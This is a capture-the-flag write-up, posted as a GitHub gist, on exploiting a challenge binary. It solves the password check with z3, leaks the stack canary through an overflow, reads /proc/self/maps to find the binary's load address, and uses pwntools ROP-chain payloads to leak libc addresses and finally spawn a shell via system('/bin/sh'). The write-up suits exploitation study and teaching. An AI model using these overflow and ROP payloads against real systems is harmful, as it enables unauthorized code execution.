Skip to content

Instantly share code, notes, and snippets.

@cwgreene
Last active May 9, 2020 13:06
Show Gist options
  • Save cwgreene/7dd02089607edd089b4993eaf5d081c9 to your computer and use it in GitHub Desktop.
Save cwgreene/7dd02089607edd089b4993eaf5d081c9 to your computer and use it in GitHub Desktop.

So, we take a look at the binary and do some basic decompilation.

void main(void)
{
  uint switch_00;
  int switch;
  char *buf;
  undefined8 uVar1;
  FILE *stream;
  long in_FS_OFFSET;
  char input_chars [32];
  char filename [40];
  long canary;
  long canary_var;
  
  canary_var = *(long *)(in_FS_OFFSET + 0x28);
  buf = (char *)malloc(16000);
  memset(input_chars,0,0x30);
  memset(filename,0,0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setFilename(filename);
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          puts("Welcome my friend. Tell me your password.");
          readline(stdin,input_chars);
          switch_00 = checkinput((byte *)input_chars);
          if ((switch_00 != 1) && (switch_00 != 2)) break;
          display_result(switch_00,(char *)0x0);
        }
        uVar1 = validateFilenameChars(filename);
        if ((int)uVar1 != 0) break;
        display_result(3,filename);
      }
      stream = fopen(filename,"rb");
      if (stream == (FILE *)0x0) break;
      readline(stream,buf);
      puts(buf);
      fclose(stream);
    }
    if (filename[0] == 0) break;
    display_result(3,filename);
  }
  display_result(4,(char *)0x0);
  if (canary_var == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So the basic flow is "Ask a password. If checkinput validates it, print out the first line of the file."

The checkinput function is

uint checkinput(byte *inputchars) {
  uint switch;
  size_t passwordLength;
  
  passwordLength = strlen((char *)inputchars);
  if (passwordLength < 0x17) {
    switch = 1;
  }
  else {
    if (((((((inputchars[1] ^ *inputchars) == 0x3f) && ((inputchars[2] ^ inputchars[1]) == 0xb)) &&
          ((inputchars[3] ^ inputchars[2]) == 0x27)) &&
         ((((inputchars[4] ^ inputchars[3]) == 0x33 && ((inputchars[5] ^ inputchars[4]) == 0x41)) &&
          (((inputchars[6] ^ inputchars[5]) == 0x4f &&
           (((inputchars[7] ^ inputchars[6]) == 0x3b && ((inputchars[8] ^ inputchars[7]) == 0x1b))))
          )))) && (((inputchars[9] ^ inputchars[8]) == 0x21 &&
                   (((((((inputchars[10] ^ inputchars[9]) == 0x32 &&
                        ((inputchars[0xb] ^ inputchars[10]) == 0x73)) &&
                       ((inputchars[0xc] ^ inputchars[0xb]) == 0x79)) &&
                      (((inputchars[0xd] ^ inputchars[0xc]) == 0x2b &&
                       ((inputchars[0xe] ^ inputchars[0xd]) == 0x3a)))) &&
                     ((inputchars[0xe] == inputchars[0xf] &&
                      (((inputchars[0x10] ^ inputchars[0xf]) == 2 &&
                       ((inputchars[0x11] ^ inputchars[0x10]) == 0x38)))))) &&
                    ((inputchars[0x12] ^ inputchars[0x11]) == 0x1d)))))) &&
       (((((inputchars[0x13] ^ inputchars[0x12]) == 3 &&
          ((inputchars[0x14] ^ inputchars[0x13]) == 4)) &&
         ((inputchars[0x15] ^ inputchars[0x14]) == 0x49)) &&
        (((inputchars[0x16] ^ inputchars[0x15]) == 0x61 && (inputchars[0x16] == 0x58)))))) {
      switch = 0;
    }
    else {
      switch = 2;
    }
  }
  return switch;
}

Which although ugly; is straightforward to transform into python z3 code.

import z3                                                                                              

inputchars = [z3.BitVec('inputchar{:02d}'.format(i), 8) for i in range(0x30)]
s = z3.Solver()
s.add(z3.And(  ((inputchars[1] ^ inputchars[0]) == 0x3f) ,
        ((inputchars[2] ^ inputchars[1]) == 0xb) ,
        ((inputchars[3] ^ inputchars[2]) == 0x27) ,
        ((inputchars[4] ^ inputchars[3]) == 0x33) ,
        ((inputchars[5] ^ inputchars[4]) == 0x41) ,
        ((inputchars[6] ^ inputchars[5]) == 0x4f) ,
        ((inputchars[7] ^ inputchars[6]) == 0x3b) ,
        ((inputchars[8] ^ inputchars[7]) == 0x1b) ,
        ((inputchars[9] ^ inputchars[8]) == 0x21) ,
        ((inputchars[10] ^ inputchars[9]) == 0x32) ,
        ((inputchars[0xb] ^ inputchars[10]) == 0x73) ,
        ((inputchars[0xc] ^ inputchars[0xb]) == 0x79) ,
        ((inputchars[0xd] ^ inputchars[0xc]) == 0x2b) ,
        ((inputchars[0xe] ^ inputchars[0xd]) == 0x3a) ,
        (inputchars[0xe] == inputchars[0xf]) ,
        ((inputchars[0x10] ^ inputchars[0xf]) == 2) ,
        ((inputchars[0x11] ^ inputchars[0x10]) == 0x38) ,
        ((inputchars[0x12] ^ inputchars[0x11]) == 0x1d) ,
        ((inputchars[0x13] ^ inputchars[0x12]) == 3) ,
        ((inputchars[0x14] ^ inputchars[0x13]) == 4) ,
        ((inputchars[0x15] ^ inputchars[0x14]) == 0x49) ,
        ((inputchars[0x16] ^ inputchars[0x15]) == 0x61) ,
        ((inputchars[0x16] == 0x58))))

print(s.check())
m = s.model()
variables = {}
for variable in m:
    variables[str(variable)] = m[variable]
print("".join(chr(int(str(variables[c]))) for c in sorted(variables.keys())))

Which yields the password VibEv7xCXyK8AjPPRjwtp9X. Of course, as one would expect, this does not yield the actual flag. Instead, we get a link to a video (which I have lost sadly). Shockingly, it wasn't a rickroll. C'mon people, tradition. Tradition.

Okay, so it looks like we'll have to actually exploit this code properly.

We take a quick check to see the order of the variables on the stack

                             void main(void)
             long              Stack[-0x10]:8 canary      ; canary is right below stored $rbp value
             char[40]          Stack[-0x38]   filename
             char[32]          Stack[-0x58]   input_chars

so the input_chars (where we enter the password) is directly below the filename parameter. So if we can override input_chars we can overwrite the filename.

We check out the input method, readline and see there is a pretty obvious, unlimited, buffer overflow.

ulong readline(FILE *stream,char *buf)

{
  char cc;
  int c;
  uint i;
  
  i = 0;
  while( true ) {
    c = fgetc(stream);
    cc = (char)c;
    if ((cc == -1) || (cc == '\n')) break;
    buf[(long)(int)i] = cc;
    i = i + 1;
  }
  return (ulong)i;
}

As long as none of the data we want to override contains the 0x20 newline character, we can put whatever we want into the buf parameter, which we see is on the stack from the main method. So we can populate the stack with whatever we want. We first need to leak the canary value though.

Taking a look at the output function display_result

void display_result(int switch,char *filename)
{
  if (switch == 1) {
    puts("Not even close!\n");
  }
  else {
    if (switch == 2) {
      puts("Incorrect!\n");
    }
    else {
      if (switch == 3) {
        printf("Unable to open %.*s file!\n",0x30,filename);
      }
      else {
        printf("Unknown error");
      }
    }
  }
  return;
}

we see that the first 0x30 of the filename will be displayed. Since the filename is only 0x28 (40) bytes, this means if we fill up the entire 40 bytes of filename buffer, we'll leak the canary value. Now, when I tried this (and you can see this using gdb or gef) the canary tends to contain a \x00 value as the LSB byte. This is to prevent certain string copying errors from overwriting the canary (as a string would stop copying once it hit the \x00). Fortunatley, the readline function doesn't stop on \x00 rather it stops on \n.

So we can pass in

canary_extraction_payload = pass_buf + b"_"*0x29
r.sendline(canary_extraction_payload)
result = r.recvuntil("Tell me your password.")
canary = b"\x00"+result.split(b" ")[3].split(b"_")[-1]

to get the canary. Here pass_buf is simply the password from before padded with enough zeros to fill the regular input_chars buffer.

So we can read the canary, so we can overwrite the stored rip value and go wherever we wish. However, we don't yet know where anything is. Although we can leak the canary, we are prevented from learning anything else about the program, since we only leak the first 0x30 bytes. So we can't even find out where the program code itself is located.

However, we haven't really exploited the fact that we can open any file on the system. Although I am unaware of any way to use fopen to open directories, we can use it on /proc/self/maps, which will give us where the operating system has mapped the text section into memory.

as an example

$ cat /proc/self/maps
563ae0b5a000-563ae0b62000 r-xp 00000000 08:05 24641561                   /bin/cat

Armed now with the knowledge of where our program is, we can use ROPgadget on the binary to construct a ROPchain. The goal of this chain is to extract the values in the Global Offset Table (GOT) that will point to where the libc functions are.

Although we aren't provided with libc, we can use Caliper Analysis (measuring the distance between known functions) to make an educated guess as to which version we're using. It's unlikely that two different versions of libc will have the exact same offsets between functions, so we can use the GOT to find out which libc version this is. Turned out to be glibc-2.27.

My first pass at writing a ROPchain missed a critical component.

problematic_payload = (pass_buf + b"\x00"*0x28+ canary + p64(0)
          +p64(set_rdi_gadget)
              + p64(puts_got_loc)
          +p64(puts_loc)             # dump puts location
          +p64(set_rdi_gadget)
              + p64(fclose_got_loc)
          +p64(puts_loc)             # dump fclose location
          +p64(main_loc))
r.sendline(problematic_payload)

This almost works. The program prints out the locations and re-enters main.

However, when I ran this, it would crash unexpectedly when I attempted the next chain attack. Running the exploit using pwntools gdb revealed the following

   0x7f9e9effd65c <buffered_vfprintf+140> punpcklqdq xmm0, xmm0
   0x7f9e9effd660 <buffered_vfprintf+144> mov    DWORD PTR [rsp+0xa4], eax
   0x7f9e9effd667 <buffered_vfprintf+151> lea    rax, [rip+0x3890f2]        # 0x7f9e9f386760 <_IO_helper_jumps>
 → 0x7f9e9effd66e <buffered_vfprintf+158> movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7f9e9effd673 <buffered_vfprintf+163> mov    QWORD PTR [rsp+0x108], rax
   0x7f9e9effd67b <buffered_vfprintf+171> call   0x7f9e9effa390 <_IO_vfprintf_internal>
   0x7f9e9effd680 <buffered_vfprintf+176> mov    r12d, eax
   0x7f9e9effd683 <buffered_vfprintf+179> mov    r13d, DWORD PTR [rip+0x39225e]        # 0x7f9e9f38f8e8 <__libc_pthread_functions_init>
   0x7f9e9effd68a <buffered_vfprintf+186> test   r13d, r13d
────────────────── threads ────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "full_troll", stopped, reason: SIGSEGV

movaps is "Move Aligned Packed Single-Precision Floating-Point Values". It's being used here to zero out 128 bits of data. The question is, why is it throwing a seg fault? The key is the "Aligned" part. When a program gets compiled, the compiler ensures that every time a function gets invoked the stack is 128 bit aligned. This lets the compiler align local variables thus allowing optimizations like using 128 bit operators to zero data structures. However, if we count the number of 8 byte gadgets we put on the stack, we realized we put an odd number before invoking main. This screwed up everything, but is easily fixed by adding a nop_gadget (a simple return) to our chain.

payload = (pass_buf + b"\x00"*0x28+ canary + p64(0)
          +p64(set_rdi_gadget)
              + p64(puts_got_loc)
          +p64(puts_loc)             # dump puts location
          +p64(set_rdi_gadget)
              + p64(fclose_got_loc)
          +p64(puts_loc)             # dump fclose location
          +p64(nop)                  # ret instruction, for alignment
          +p64(main_loc))
r.sendline(payload)

So having worked out the libc version, and having established the current locations of libc, we can get ourselves a shell. We pick a nice, out of the way, place in the bss section. We look up the value of the stdin variable in libc and invoke the readline on stdin and the chosen bss section. Then we write /bin/sh into the bss location.

And then we just pass that location into system.

shell_payload = (pass_buf + b"\x00"*0x28 + canary + p64(0)
    +p64(set_rdi)
        + p64(stdin)       # this is a FILE * pointer in libc. 
    + p64(set_rsi_r15)
        + p64(bss)         # computed from program offset
        + p64(0)           # don't care about r15 register
    + p64(nop)             # just a ret for 128 bit alignment
    + p64(readline_loc)    # readline(stdin, bss_location) 
    + p64(set_rdi)         
        + p64(bss)
    + p64(system))         # system(bss_location)

which gives us a shell. Listing the directory reveals an unguessable file whose contents is the flag.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment